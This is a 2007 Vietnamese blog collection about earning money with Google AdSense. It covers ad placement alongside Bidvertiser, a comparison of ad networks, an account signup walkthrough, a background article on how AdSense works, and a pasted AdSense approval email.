Chào các bạn ! tôi vào một số diễn đàn nước ngoài và diễn đàn Việt Nam đều thấy các câu hỏi , nghi vấn về vấn đề Google Adsense có cho đặt chung với Bidvertiser không ?

Xin trả lời rằng Google Adsense chấp nhận nhưng các bạn đặt quảng cáo của Bidvertiser chung với Google Adsense phải chú ý mấy điều cơ bản sau :

+ Không đặt ads của Bidvertiser lên trên ads của Google Adsense hoặc ngang hàng. Chúng ta cũng phải xét thực tế chứ. Ví Dụ: Tôi mở quán cafe và cũng có một quán cafe nữa ở trước quán tôi thì làm sao tôi kinh doanh và quảng bá hương vị cafe của quán đến khách hàng đây! Cũng như vậy thôi ads của Google Adsense phải ở trước tiên tiên.

+ không đặt Ads của Bidvertiser trùng với ads của Google Adsense. Tôi lấy ví dụ thế này nhé: Website của tôi về thiết kế web vậy ads của Google Adsense mà tôi đặt là ''các dịch cụ thiết kế web '' đúng không ? vậy thì ads của Bidvertiser mà tôi đặt lên web phải là một dịch vụ khác hoặc có thể chung chung, VD ''các phần mềm thiết kế web '' chứ không thể là '' các dịch vụ thiết kế web '' chúng ta cũng phải xét 1 thực tế là tôi bán cafe mà bạn cũng bán cafe với giá là 2000 VND 1 ly mà của tôi là 3000 VND 1 ly cung cách phục vu như nhau vậy bạn sẽ chọn ai và truyền bá rằng quán của ai là tốt hơn ?

Khá nhiều bạn ở nước ngoài và Việt Nam tham phiền rằng tự nhiên sau vào ngày đặt chung ads của Google Adsense với Bidvertiser thì bị Google Adsense gởi thư. Một số bạn rành tiếng anh thì còn có thể sửa lỗi của mình, nhiều bạn thì vẫn để nguyên. Thế là GA khóa tài khoản ( tình huống dở khóc dở cười ). Đấy chính là các bạn đã vi phạm nội quy của GA,nên tôi có lời khuyên cho các bạn rằng khi nhận được thông báo của GA thì các bạn nên đọc hoặc không dịch được thì nhờ người khác dịch cho vì khi nào bạn mắc lỗi thì GA mới gởi thông báo về chứ không không thì GA gởi làm gì cho phí công và một lẽ đương nhiên chúng ta không làm theo thông báo của GA là chỉ trong vài ngày mà vẫn để yên đấy GA không khóa tài khỏan mới lạ.

Chúc các bạn thành công!

Coming soon: Make ad changes without replacing code

2007-10-26T02:02:00.000-07:00

We're very excited to let you know about an upcoming feature that lets you easily manage your ad units from within your AdSense account. It isn't live yet, but here's a sneak peek so you'll know what to expect in the coming weeks. (We know many of you have been eagerly anticipating its arrival.)

This new ad management feature means that your ad unit settings (such as colors and channels) for new AdSense for content ad units will be saved in your AdSense account every time you generate ad code. Then, if you'd like to change any of these settings in the future, all you do is make the update within your account -- you'll no longer need to manually replace the ad code on all of your pages. For instance, you can quickly change the borders of all your 300x250 medium rectangles from red to blue with just a few mouse clicks. Fancy! We hope that this new feature will help you save time and will simplify the process of optimizing your ad units.

As we noted above, please keep in mind that the ad management feature isn't yet available in any publisher accounts. We'll be rolling it out in phases in the next few weeks, and we'll follow up with another post at that time to help you better understand how to use the feature. When you see the "Manage Ads" page appear under your AdSense Setup tab, you'll know the feature is available for you to use. Here's what it will look like:

Stay tuned to read more about this new feature!

Điểm qua một số website thuê quảng cáo

2007-10-26T01:50:00.000-07:00

1. Google Adsense (http://google.com/adsense):

Nghe tên của "ông khổng lồ" Google, ta cũng an tâm được phần nào về uy tín cũng như chất lượng.

* Ưu điểm:

- Website của bạn hầu như luôn có quảng cáo.
- Giá mỗi quảng cáo tùy theo từng website.
- Bạn có thể an tâm về các website do Google quảng cáo, không sợ dính phải quảng cáo cho các trang web "đen".

* Nhược điểm:

- Google có những quy định rất nghiêm ngặt trong việc quảng cáo.
- Vì Google Adsense kiểm tra theo địa chỉ IP nên hầu hết các account tại Việt Nam rất dễ bị khó a tài khoản.
- Không hỗ trợ các trang tiếng Việt.

2. AdBrite (http://adbrite.com):

Đây cũng là một loại hình quảng cáo mà bạn thường thấy trên Internet, là một đối thủ mạnh của Google Adsense.

* Ưu điểm:

- Bạn có thể định giá cho website của mình để người khác mua quảng cáo.
- Hệ thống mạng lưới khá rộng.

* Nhược điểm:

- Không hẳn lúc nào bạn cũng có quảng cáo, mà bạn phải chờ người khác mua quảng cáo. Do đó, nếu website bạn ít người truy cập thì tỉ lệ được quảng cáo là rất thấp.

3. AdEngage (http://adengage.com):

Đây là Công ty mới ra đời, tuy nhiên, hệ thống của Adengage không tồi chút nào.

* Ưu điểm:

- Là sự kết hợp của Google Adsense và Adbrite, tức là website bạn luôn có quảng cáo (tiền mỗi quảng cáo khác nhau) và nếu nhà quảng cáo mua quảng cáo trên website bạn thì bạn cũng có thể định giá cho quảng cáo.
- Tiền mỗi click từ 8.2 cents trở lên.

* Nhược điểm:

- Nếu là website Việt Nam thì bạn phải có mức độ đánh giá của Alexarank từ 100.000 trở xuống.
- Hệ thống có cho phép quảng cáo các website người lớn. Do đó, nếu bạn không biết thiết lập để ngăn chặn thì rất dễ gây phản cảm cho website của bạn.

4. HURA Ad (http://ad.hurahost.com):

HURA Ad là một bộ phận của HURA Host (http:// hurahost.com) và có Công ty mẹ là Công ty Việt Arrow (http://vietarrow.com). Tuy mới ra đời nhưng theo tôi thì trong tương lai loại hình HURA Ad sẽ rất phát triển trong cộng đồng người Việt Nam.

* Ưu điểm:

- Loại hình quảng cáo của HURA Ad giống của Google. Tuy nhiên, bạn có thể chủ động tìm các quảng cáo có tiền cao để quảng cáo.
- Hỗ trợ tết cho người Việt Nam, có các chính sách khuyến mãi như quảng cáo đổi host.

* Nhược điểm:

- Đây là dịch vụ mới ra đời của HURA Host, do đó, số quảng cáo chưa nhiều và tiền quảng cáo cũng chưa cao.
Ngoài các website kể trên, bạn còn có thể tham khảo thêm các website như: Adster (http://adster.com), Bidvertiser (http://bidvertiser.com)...

Google mở rộng quảng cáo 'trả theo hành động'

2007-10-26T01:49:00.000-07:00

Nếu khách ghé thăm trang web có mua hàng hoặc điền phiếu, hãng mới thu phí quảng cáo của doanh nghiệp. Hình thức này chỉ có lợi ở môi trường thương mại điện tử thực sự, nơi giao dịch được thực hiện trực tuyến dễ dàng và an toàn.

Mô hình mới chỉ mở rộng cho chủ sở hữu trang web và đối tác quảng cáo của Google tại Mỹ. "Thử nghiệm này sẽ giúp họ có thêm công cụ tự động trong việc thiết kế quảng cáo điện tử", Rob Kniaz, Giám đốc sản phẩm của hãng, cho biết.

Google triển khai việc bán quảng cáo thông qua chương trình AdSense. Chủ nhân của một trang web có thể tích hợp phần mềm này để hiển thị các quảng cáo lên trang của mình dưới dạng văn bản, hình ảnh hay video. Những quảng cáo đó được Google quản lý và tính giá đối với bên đi quảng cáo theo cơ sở trả cho mỗi click hay một nghìn click và gần đây là cho mỗi hành động. Chủ nhân của trang web chấp nhận đăng quảng cáo của Google sẽ được hãng chia hoa hồng theo tỉ lệ nào đó.

Google có thể mất 2,1 tỷ USD như thế nào?

2007-10-26T01:48:00.000-07:00

Hầu hết những người bỏ tiền ra quảng cáo trên Google đều không biết họ đang làm gì, chứ nếu biết, Google có thể mất toi 30% doanh thu như chơi, ông Jon Morris, người sáng lập ra Internet Marketing Initiative tuyên bố...

Những nhà quảng cáo trực tuyến có thể tiết kiệm được 30% chi phí mà vẫn đạt được kết quả như vậy, nếu như họ hợp tác với một doanh nghiệp marketing công cụ tìm kiếm (SEM) đủ năng lực.

Theo ước tính của Morris, chỉ có khoảng 30% số nhà quảng cáo Internet hiện nay hiểu được sự phức tạp của lý thuyết phân tích quảng cáo, hoặc là đang bắt tay với một công ty SEM. Điều này đồng nghĩa với việc 70% còn lại đang lãng phí tiền mà không hay biết.

Google luôn tuyên bố hãng hỗ trợ quảng cáo hiệu quả hơn. "Google cung cấp các công cụ miễn phí để khách hàng đo đạc mức độ hiệu quả và thành công của quảng cáo trực tuyến", đại diện của hãng cho biết. "Các công cụ của chúng tôi luôn được ứng dụng rộng rãi và khách hàng luôn cảm thấy hài lòng về hiệu quả đạt được".

Tuy nhiên, nếu tuyên bố của Morris là đúng sự thật, nó sẽ có thể khiến cho doanh thu 10 tỷ USD mỗi năm của Google thâm hụt tới 2,1 tỷ USD.

Mỗi lần nhấp chuột, bạn đem lại 50 xu cho Google

2007-10-26T01:47:00.000-07:00

Với mức lợi nhuận lên đến 381,2 triệu USD và doanh thu đạt 1,578 tỉ USD trong quí 3-2005, công cụ tìm kiếm Google như cách người ta quen gọi đã thật sự trở thành người khổng lồ trong thân thể chú nhóc 7 tuổi. Một cuộc đột phá toàn cầu có qui mô ngày càng lớn.

Quảng cáo trên mạng luôn gây sự khó chịu cho người xem từ khi Internet được dùng làm phương tiện kinh doanh và phổ biến sản phẩm, dịch vụ. Có nhiều phản ứng từ người truy cập là hãy khai tử quảng cáo và cho họ quyền chọn lựa muốn xem cái gì thay vì tập kích một cách thiếu văn hóa đủ thứ rác rưởi mỗi khi họ vào mạng.

Nhưng Google đã làm cuộc cách mạng khi biết cân bằng giữa lợi ích của các nhà sản xuất và người tiêu dùng mà hệ quả cuối cùng là đem lại nhiều lợi nhuận cho hãng. Ví dụ nếu bạn đánh từ khóa Anti-spy vào ô tìm kiếm của Google, trang kết quả tìm kiếm hiển thị sẽ có những đường dẫn vào trang web của các nhà tài trợ liên quan đến những gì bạn đang tìm kiếm. Nhấp chuột vào những dòng trả lời trong trang, bạn cũng sẽ thấy những đường dẫn quảng cáo như vậy.

Có điều bạn không biết là mỗi khi bạn nhấp vào đường dẫn nào đó trên trang web phát sinh từ công cụ tìm kiếm của Google, bạn đã mang về cho nó 50 xu USD. Google thu phí cao hơn đối với một số từ khóa liên quan đến những sản phẩm và dịch vụ đặc thù. Schmidt, giám đốc điều hành Google, nhận xét: “Bí quyết hái ra tiền của quảng cáo là tìm được thật nhiều người cần đăng và hiển thị chúng đúng lúc đúng nơi để mang lại hiệu quả cao nhất cho cả hai”.

Nhưng Google không chỉ có quảng cáo. Người ta tin rằng nó đang khẩn trương xúc tiến kế hoạch đánh bại những chàng khổng lồ như Yahoo và Microsoft trong những lĩnh vực mà hai công ty này đang chiếm ưu thế. Các nhà quan sát phân tích và dự báo chiến lược của Google dựa vào việc phân tích một loạt dịch vụ và công cụ mà công ty đưa ra thử nghiệm và phổ biến chính thức trong vòng vài năm trở lại đây.

Đáng kể nhất trong các dịch vụ và tiện ích này là Gmail với dung lượng hơn 2Gb và còn tăng nữa, thanh tìm kiếm Google Toolbar, điện thoại Internet Google Talk (đối thủ của Yahoo! Messenger), dịch vụ so sánh giá Froogle, bản đồ hình ảnh vệ tinh Google Earth, báo động tự động Google Mail, trang web tin tức Google News, dịch trực tuyến Google ngay trên trang tìm kiếm, các dịch vụ tìm kiếm dữ liệu lưu trữ trên máy tính Google Desk Search, công cụ xem ảnh và tổ chức ảnh Picasa 2, công cụ gia tốc tìm kiếm trên mạng Google Web Accelator và một số tiện ích khác.

Công ty cũng đang tiến hành thử nghiệm hệ thống thanh toán trực tuyến và hợp tác với Sun Microsystems (ông chủ của các tiện ích Java và nguồn mở văn phòng) để đưa Google tham gia thị trường phần mềm văn phòng miễn phí. Rõ ràng, bằng nội lực của chính mình và phối hợp với những đại gia trong một số lĩnh vực kỹ thuật số, Google đang tìm cách hình thành một sân chơi máy tính khép kín cho người vào mạng để đã vào Google rồi người ta không cần đi đâu khác nữa.

Đến thời điểm này, các dịch vụ của Google, nhất là dịch vụ tìm kiếm, đã được triển khai bằng 109 thứ tiếng và phần lớn nước trên thế giới đã có một trang Google ngôn ngữ riêng. Được hỏi về tham vọng của Google là trở thành một Microsoft thứ hai, Nikesh Arora, thuộc hội đồng quản trị Google, trụ sở tại California, trả lời là không, ít nhất là trong ý nghĩa của từ độc quyền.

Google sẽ trung thành với tôn chỉ do hai nhà đồng sáng lập Larry Page và Sergey Brin đề ra: “Tổ chức mạng thu thập và chia sẻ thông tin toàn cầu sao cho thật tốt để thông tin cập nhật có thể đến với mọi người trên thế giới một cách hiệu quả và tiết kiệm thời gian”.

Kiếm tiền trên mạng với Google

2007-10-26T01:45:00.000-07:00

Đa số những quảng cáo kiểu “kiếm tiền trên mạng” đều không đáng tin hoặc không bõ công. Tuy nhiên, nếu việc đó xuất phát từ một Công ty có uy tín như Google thì có lẽ có lẽ chúng ta cũng nên cân nhắc. Dịch vụ Google Adsense không yêu cầu bạn click vào đâu cả mà chỉ thống kê xem các quảng cáo của họ đặt trên trang web của bạn có bao nhiêu người viếng để tính tiền chi trả cho bạn mà thôi.

Nói đến kiếm tiền trên mạng, có thể bạn sẽ nhăn mặt thầm nhủ "chuyện tào lao, lừa đảo"... Nhưng khi vấn đề có liên quan đến Google thì hẳn đây là một việc nghiêm túc. Nếu bạn là một webmaster và muốn sử dụng trang web của mình để "kiếm chác" chút đỉnh thì Google Adsense là một công cụ mà bạn nên quan tâm. Chỉ riêng danh tiếng của Google cũng đã đủ là một sự bảo đảm. Cách thức hoạt động của chương trình này là Google sẽ đặt quảng cáo của các Công ty mà họ có được lên site của bạn, nếu có người truy cập site và vào xem các quảng cáo đó thì các nhà quảng cáo sẽ trả tiền cho bạn thông qua Google. Nói một cách cụ thể thì một khi được chấp nhận tham gia chương trình này, bạn sẽ được cung cấp một đoạn code HTML để chèn vào bất cứ đâu trong trang web của bạn. Mỗi lần khách đến thăm bấm chuột vào banner quảng cáo của Google Adsense thì bạn sẽ nhận được một khoản tiền - ít thôi, nhưng tích thiểu thành đa!

Điều hạn chế mà chúng ta gặp phải đầu tiên là dịch vụ này của Google chưa chấp nhận các site có nội dung không phải tiếng Anh. Vì thế nếu bạn sử dụng một site có nội dung tiếng Việt để đăng ký thì sẽ không được chấp nhận. Trong khi chờ đợi điều này được thay đổi, có một cách để Google chấp nhận là sử dụng blog của chính Google.

Để tạo cho mình một blog của Google, bạn hãy truy cập vào http:// blogspot.com. Để việc đăng ký blog được nhanh chóng, tốt nhất bạn nên có một tài khoản Gmail (đăng ký miễn phí tại http://gmail.com). Sau khi có một tài khoản Gmail, bạn vào trang http://blogspot.com và chọn Create Your Blog Now. Tại đây bạn hãy tiến hành điền đầy đủ các thao tác nhập thông tin như bình thường.

Sau khi đã hoàn thành cho mình một trang blog, bạn sử dụng địa chỉ là blog của mình để đăng ký với Google. Để đăng ký tham gia chương trình này của Google, bạn hãy vào trang http://google. Com/adsense, bấm vào click here to apply. Một form xuất hiện để bạn tự điền các thông tin cá nhân vào. Điều đáng lưu ý là bạn phải điền hoàn toàn chính xác các thông tin cá nhân của mình với Google để tiện việc giao dịch sau này. Google sẽ hoàn toàn giữ bí mật cá nhân của bạn.

Ở mục website URL, hãy điền địa chỉ của blog mà bạn dã đăng ký ở blogspot (ví dụ: http:// example.blogspot.com), còn ở mục Website langunge thì bạn chọn ngôn ngữ cho site của mình là tiếng Anh. Mục Account type bạn chọn Individual (Bussiness dành cho các website thương mại), và mục Country or territory thì bạn chọn Vietnam.

Toàn bộ các mục còn lại là các mục về thông tin cá nhân của bạn. Bạn phải đảm bảo các thông tin này là chính xác để khỏi trở ngại cho việc giao dịch về sau này.

Để dược chấp nhận, bạn phải đồng ý với các diều lệ của Google Adsense khi tham gia chương trình, bạn phải đánh dấu chọn vào toàn bộ các ô kiểm ở mục Policies. Cuối cùng bấm nút Submit Information để hoàn tất.

Google Adsense sẽ hỏi lại bạn lần cuối về các thông tin của mình trước khi hoàn thành việc đăng ký. Sau khi đăng ký, bạn phải mất khoảng 1 đến 2 ngày để Google Adsense kiểm tra lại mẫu đăng ký của bạn và quyết định có chấp nhận bạn tham gia chương trình hay không.

Để Google Adsense chấp nhận bạn thì site bạn đã đăng ký với Google phải là trang có nội dung, nghĩa là bạn phải chăm chỉ post bài lên trang blogspot của mình (tất nhiên nội dung phải là tiếng Anh).

Mẹo: Bạn có thể vào một số báo tiếng Anh, trích xuất nội dung đem lên blog của mình (nhớ đề xuất xứ cho nghiêm túc).

Sau khi được Google Adsense chấp nhận, bạn dã có một tài khoản tại http://google.com/adsense với tên truy cập là email bạn dã sử dụng để đăng ký và mật khẩu bạn đã chọn. Sau khi đăng nhập vào tài khoản thì có một số mục cần lưu ý sau:

1. Repod: là bản báo cáo hàng ngày, hàng tuần, hàng tháng... với số tiền bạn kiếm được.

2. An Settings: là phần để bạn thiết lập những banner quảng cáo sao cho phù hợp với trang của bạn, với kích thước của banner, màu sắc của banner và lấy dòng code HTML để chèn vào trang của mình.

3. Search Settings: phần này để chèn đoạn tìm kiếm với Google và trang của bạn, bạn cũng nhận được tiền từ dịch vụ này.

4. Account Information: là thông tin về tài khoản của bạn, bao gồm địa chỉ, số để trả thuế, tài khoản...

5. Ads Pedormance: là "thành quả”, lao động của những banner bạn dặt trên trang web .

6. Search Pedomance: cũng giống như adsperformance.

7. Payment History: là thông tin về những lần Google Adsense tính toán sau mỗi tháng.

Về cơ bản là thế. Nếu bạn đã tạo ra được trang web rồi, và lại đủ điều kiện để Google Adsense chấp nhận thì bạn sẽ hoàn toàn dễ dàng lấy code HTML chèn vào trang của mình.

Một điều khá hay của chương trình này là một code HTML của một tài khoản có thể đặt lên nhiều site khác nhau, điều đó có nghĩa là bạn có thể vừa đặt code lên siee có nội dung tiếng Anh dùng để đăng ký với Google Adsense, vừa có thể đặt quảng cáo lên trang web có nội dưng tiếng Việt của chính bạn.

Qua quá trình tham gia, bạn có thể tự tìm hiểu thêm về chương trình này, tuỵ nhiên sau đây là một số lưu ý mà bạn nên cẩn thận để tránh bị khóa tài khoản một cách đáng tiếc:

1) Đừng bao giờ tự bấm chuột vào banner của chính bạn với bất cứ lý do gì.

2) Đừng bao giờ thay đổi Adsense code: trong tài khoản của bạn, Google cho phép bạn thay đổi màu sắc, đương viền, màu chữ, kiểu dáng, kích thước banner. Bạn chỉ được phép thay đổi nó trong tài khoản của bạn, bất cứ tác động nào đến đoạn code quảng cáo của Google đều là vi phạm quy tắc. Do vậy bạn cũng không nên thay đổi nó mà giữ nguyên như lúc ban đầu.

3) Chỉ đặt banner của Google trên những trang có nội dung. Vì Google Adsense có hệ thống tìm kiếm rất xuất sắc, mà chúng ta đều đã biết, cho nên đừng... bịp nó, mà hãy làm những trang có nội dung thật sự.

4) Cuối cùng nhưng không kém phần quan trọng là bạn chớ có tìm cách bịp Google Adsense bằng những phần mềm tự động bấm chuột. Google Adsense đủ thông minh để biết rằng nó đang bị nói dối và trong trường hợp đó thì tài khoản của bạn sẽ vĩnh viễn bị xóa và bạn không bao giờ còn cơ hội tham gia chương trình đó nữa.

Điều cuối cùng bạn cần biết là ta sẽ nhận tiền như thế nào? Đó là khi tài khoản của bạn đạt 50$, Google Adsense sẽ gửi cho bạn một lá thư (thư thật chứ không phải là email) đến địa chỉ mà bạn đã dùng để đăng ký, trong đó có một mã số PIN (Personal Identification Number: mã số xác nhận cá nhân). Khi bạn tham gia vào google adsense, trước khi nhận tiền, bạn cần nạp vào mã số PIN nhận được từ Google. Mã số PIN mang ý nghĩa bảo vệ người sử dụng Google Adsense, nó đảm bảo rằng séc của bạn sẽ được chuyển đến đúng địa chỉ mà bạn đã nhập trong tài khoản.

Sau khi bạn điền mã PIN trước ngày 15 của tháng và tài khoản của bạn có trên 100$ thì Google Adsense sẽ gửi séc đến cho bạn vào ngày 25 của tháng mà bạn có đủ 100$ trong tài khoản (chẳng hạn bạn điền số PIN vào tài khoản vào ngày 13/4 và tài khoản của bạn có 110$ thì vào 25/4, Google Adsense sẽ gửi cho bạn 1 tấm séc giá trị 110$).

Bản thân người viết bài này cũng đã tham gia chương trình này từ khá lâu và đã từng nhận được tiền từ chương trình này.

AdSense

2007-10-26T01:42:00.000-07:00

Phần AdSense trong một trang web
AdSense là một dịch vụ quảng cáo của Google. Người viết web hay thậm chí là cả blog có thể đăng ký vào chương trình này để đăng các quảng cáo dưới dạng văn bản, hình ảnh, và mới đây là cả video trên trang web của mình. Những mẩu quảng cáo này được điều phối bởi Google và tạo ra lợi nhuận trên nguyên tắc tính tiền cho mỗi cú nhấp chuột và tính tiền cho mỗi ấn tượng. Google hiện nay đang thử nghiệm beta cho dịch vụ dựa trên tính tiền cho mỗi hành động.
Google sử dụng công nghệ tìm kiếm của mình để đưa ra các đường dẫn quảng cáo tương thích với nội dung, nơi ở của người truy cập, ngôn ngữ cũng như nhiều yếu tố khác của trang web sử dụng AdSense. Những người muốn đăng quảng cáo thông qua hệ thống AdSense thì có thể đăng ký thông qua AdWords. AdSense đã trở thành dịch vụ quảng cáo trực tuyến phổ biến nhất nhờ vào "hòa hợp" của nội dung quảng cáo với nội dung của trang web, khác hẳn cách quảng cáo dùng banner vẫn phổ biến trước đây. Ngoài ra vị trí đặt các links quảng cáo của AdSense cũng không gây khó chịu đối với người truy cập trang như với các banners.

AdSense sử dụng mã JavaScript để đưa nội dung quảng cáo vào trang web thành viên. Nếu đoạn mã này được chèn vào một trang web mà Mediabot chưa khảo sát được thì, để cho có vẻ tử tế với người đăng ký làm thành viên của AdSense, nó sẽ tạm thời đưa ra một đoạn quảng cáo vì mục đích từ thiện (Public Service Announcement (PSA) hay Community Service Announcement (CSA)). ((Chú ý rằng Mediabot là một bộ khảo sát độc lập với Googlebot chỉ quản lý danh mục tìm kiếm của Google.)
Rất nhiều trang web sử dụng AdSense để kiếm tiền từ nội dung của nó và cũng nhiều chủ trang web nỗ lực để tăng thu nhập từ AdSense. Họ làm điều này bằng 3 cách:
1. Sử dụng nhiều loại kỹ thuật tạo ra lưu lượng thông tin chuyển đến và đi từ trang web của họ bằng (nhưng không chỉ có) quảng cáo trên mạng! Viết ra những bài hay cũng là một cách làm hiệu quả.
2. Xây dựng những nội dung có giá trị trên trang của họ nhằm tạo sức hút đối với các quảng cáo AdSense mang lại nhiều tiền khi được click lên đó.
3. Sử dụng nhiều hình thức khác nhau để khuyến khích người truy cập nhấp lên đường dẫn quảng cáo. Cũng nên lưu ý rằng Google cấm người dùng AdSense sử dụng các câu tương tự như "Click on my AdSense ads" (Hãy nhấp lên quảng cáo của tôi) để tăng số lần nhấn trên tài khoản AdSense. Những câu được chấp nhận là "Sponsored Links" (Đường dẫn được tài trợ) hay "Advertisement" (Quảng cáo).
Nguồn chi trả cho người dùng AdSense đến từ chương trình AdWords. Còn cơ chế tính tiền đăng quảng cáo đối với người dùng AdWords khá phức tạp và được dựa trên một kiểu đấu giá kín mà người đặt giá cao nhất phải chi ra số tiền bằng số tiền đặt giá cao thứ hai (đấu giá Vickrey).
Lịch sử
Cơ chế hoạt động bên trong AdSense được điều chỉnh từ công nghệ của WordNet và Simpli, một công ty được xây dựng bởi người sáng lập ra Wordnet - Geoge A. Miller - và một số giáo sư và sinh viên tốt nghiệp từ Đại học Brown, trong đó có cả James A. Anderson, Jeff Stibel và Steve Reiss.[1] Một dạng biến thể khác của kỹ thuật này sử dụng Wordnet được phát triển bởi Oingo, một công ty tìm kiếm trên mạng nhỏ có trụ sở tại Santa Monica được thành lập vào năm 1998.[2] Oingo chủ yếu dựa trên tìm kiếm về mặt ngữ nghĩa thay vì tìm kiếm thô theo kiểu dò tìm chuỗi.[3] Nói nôm na là cách tìm kiếm do Oingo đưa ra tỏ ra thông minh hơn. Điều này giúp cho các kết quả được trả về phù hợp hơn với mong muốn của người tìm kiếm. Oingo sau đó đã đổi tên thành Applied Semantics, sau này được mua bởi Google với giá 102 triệu dollars vào tháng 4 năm 2003 để thay thế một hệ thống tương tự đang được họ phát triển.[4]

AdSense dành cho feeds
Vào tháng 5 năm 2005, Google đã đưa ra AdSense dành cho feeds (Adsense for feeds), một phiên bản của AdSense chạy trên feeds RSS và Atom đã có trên 100 người đăng ký. Theo blog chính thức của Google, "những người cần quảng cáo giờ đây đã có những mẩu quảng cáo của họ đặt trên feeds, người phát hành feeds được trả tiền và người đọc feed sẽ nhìn thấy những mẫu quảng cáo liên quan đến nội dung của feeds".
AdSense dành cho feeds hoạt động bằng cách chèn các hình ảnh vào trong feeds. Khi hình ảnh được đọc bởi trình nhận feeds, Google sẽ ghi nội dung quảng cáo vào đó tùy theo nội dung của feeds bao quanh hình ảnh. Khi người dùng nhấp chuột vào hình ảnh đó thì họ sẽ được dẫn đến trang web của người đăng quảng cáo giống như quảng cáo AdSense thông thường.

AdSense dành cho tìm kiếm
Đây là chương trình đi kèm với AdSense thông thường, AdSense dành cho tìm kiếm (AdSense for search) cho phép người viết web đặt một hộp tìm kiếm của Google trên chính trang web của họ. Khi người dùng tìm kiếm bằng chính những hộp tìm kiếm này, Google sẽ chia sẻ phần tiền thu được từ những truy vấn tìm kiếm được thực hiện từ website của người đặt hộp tìm kiếm đó. Tuy nhiên người tham gia chỉ được trả tiền khi những đường dẫn quảng cáo trên phần kết quả được nhấp vào. Google không trả tiền cho những cú nhấp chuột trên kết quả tìm kiếm thông thường.
Cách thức hoạt động của AdSense
Mỗi lần khách truy cập vào trang có nhúng AdSense, một mẩu JavaScript sẽ viết một thẻ ifram (một đoạn mã để nhúng một nội dung ngoài lên nội dung chính của trang). Javascript cho phép tìm ra những từ khóa chính trong nội dung của trang để rồi sẽ tìm kiếm trong bộ nhớ đệm ở máy chủ của Google một tập hợp các từ khóa tương thích với mức độ sử dụng cao. Nếu từ khóa đã được lưu trong bộ đệm, các mẩu quảng cáo sẽ được đưa ra dựa trên hệ thống đấu giá của AdWords.
Lạm dụng
Một số chủ trang web tạo ra những trang chuyên dùng để thu hút những người tìm kiếm với Google và các cỗ máy tìm kiếm khác để họ nhấp chuột lên các đường dẫn quảng cáo nhằm kiếm tiền. Những trang ma này thường chẳng có nội dung gì đặc sắc nhưng lại chứa một lượng lớn các liên kết chồng chéo và những nội dung tự động (ví dụ như một thư mục với nội dung lấy từ Open Directory Project, hoặc vơ vét nội dung từ các trang web khác dựa vào nội dung của RSS). Có lẽ phần lớn kiểu "nông trại AdSense" này là các splogs ("Spam blogs") tập trung chủ yếu vào những từ khóa được trả tiền quảng cáo cao. Phần lớn những sites sử dụng nội dung có từ các sites nỗi tiếng khác như Wikipedia để thu hút người truy cập. Những hành vi kiểu này có thể được xem như một dạng spam tìm kiếm (search engine spam) và cần phải được thông báo cho Google.
Người ta cũng đã phát hiện ra một số loại Trojans tạo ra những quảng cáo Google giả được định dạng giống như thật. Những Trojan này sẽ được bí mật tải về máy tính thông qua trang web và sau đó thay thế các quảng cáo thật bằng những quảng cáo nguy hiểm.[5]
Chỉ trích
Do những vấn đề liên quan đến clicks giả tạo, Google AdSense đã bị chỉ trích bởi một số công ty có website được tối ưu hóa nhằm xuất hiện trong tốp đầu các kết quả tìm kiếm do số lượng quá lớn các clicks không có thực được các công ty đối thủ sử dụng để làm tăng chi phí quảng cáo của họ.[6] Chính vì thế mà không ít các websites thành viên AdSense đã bị chặn bởi Google mặc dù không ít trong số đó cho rằng họ hoàn toàn chơi đúng luật của Google AdSense.[7]
Để chống lại click giả, người đăng quảng cáo có thể chọn sử dụng một số các chương trình dò tìm click. Đây một dạng chương trình để xác định người truy cập. Chúng cho phép hiển thị các thông tin chi tiết về những người truy cập và click trên quảng cáo AdSense. Những người đăng quảng cáo có thể sử dụng những thông tin này để xác định xem mình có đúng là nạn nhân của click ảo hay không. Có rất nhiều kịch bản (script) dạng này được bán tuy nhiên cũng có một chương trình mã nguồn mở có cùng chức năng là AdLogger.
Google cũng bị chỉ trích vì cho phép các nhà quảng cáo AdWords lạm dụng thuơng hiệu. Năm 2004, Google bắt đầu cho phép nhà quảng cáo đấu giá trên bất kỳ thuật tìm kiếm nào, gồm cả thương hiệu của đối thủ cạnh tranh.[8]
Cách thức thanh toán của Google cho người tham gia chương trình đăng quảng cáo cũng bị chỉ trích khá nhiều.[9] Theo quy định của Google, người đăng quảng cáo chỉ được chi trả khi đã gom đủ số tiền ít nhất là 100 đô la Mỹ[10]. Trong khi đó đối với những người tham gia không có tầm cỡ thì để có được 100 dollars họ phải mất một khoảng thời gian rất dài, thậm chí là hàng năm.

Thư chúc mừng của Google Adsense

2007-10-26T01:38:00.000-07:00

Một ngày đẹp trời hay sao ấy mà lại nhận được một cái thư chúc mừng của Google Adsense; vậy là mình đã chính thức làm quảng cáo cho nó rồi.

Google AdSense < adsense-noreply@google.comĐịa chỉ email này đang được bảo vệ khỏi chương trình thư rác, bạn cần bật Javascript để xem nó > tới tôi < mr.nguyenducanh@gmail.comĐịa chỉ email này đang được bảo vệ khỏi chương trình thư rác, bạn cần bật Javascript để xem nó > This message was sent from a notification-only email address that does not accept incoming email. Please do not reply to this message.
-------------------------------------------------------------------------------

Congratulations!

Your Google AdSense application has been approved. You can now activate
your account and get started with AdSense in minutes.
To quickly set up your account, follow the steps below. Or, for a
detailed video walkthrough, view our Getting Started tutorial:
http://www.google.com/adsensewelcome_getstarteddemo.

STEP 1: Log in to your account.
Visit https://www.google.com/adsense?hl=en_US and log in using
the 'Existing Customer Login' box at the top right. If you've forgotten
your password, visit https://www.google.com/accounts/ForgotPasswd for
assistance.

STEP 2: Generate and implement the AdSense code.
Click on the 'AdSense Setup' tab, then follow the guided steps to
customize your code. When you've reached the final step, copy the code
from the 'Your AdSense code' box and paste it into the HTML source of
your site. If you don't have access to edit the HTML source of your
pages, contact your webmaster or hosting company.

Not sure how to add the code to the HTML source of your page? Our Help
with Ad Code video tutorial can guide you through the process - find
the tutorial at http://www.google.com/adsensewelcome_implementingadcode.

Once the code is implemented on your site, Google ads and AdSense for
search will typically begin running within minutes. However, if Google
has not yet crawled your site, you may not notice relevant ads for up
to 48 hours.

Step 3: See the results.
After your ads start running, you can see your earnings at anytime by
checking the online reports on the Reports tab in your account. For a
quick overview of your earnings reports and the 5 steps to getting
paid, view our Payments Guide: https://www.google.com/adsense/payments.

Have more questions? Find answers in the following resources:
- The AdSense Help Center, containing demos, guides, and answers to
common questions: https://www.google.com/support/adsense?hl=en_US.
- The AdSense Help Forum, an online community of publishers:
http://groups.google.com/group/adsense-help?hl=en_US .
- The AdSense Blog, with all the latest news and tips about AdSense:
http://www.adsense.blogspot.com?hl=en_US .
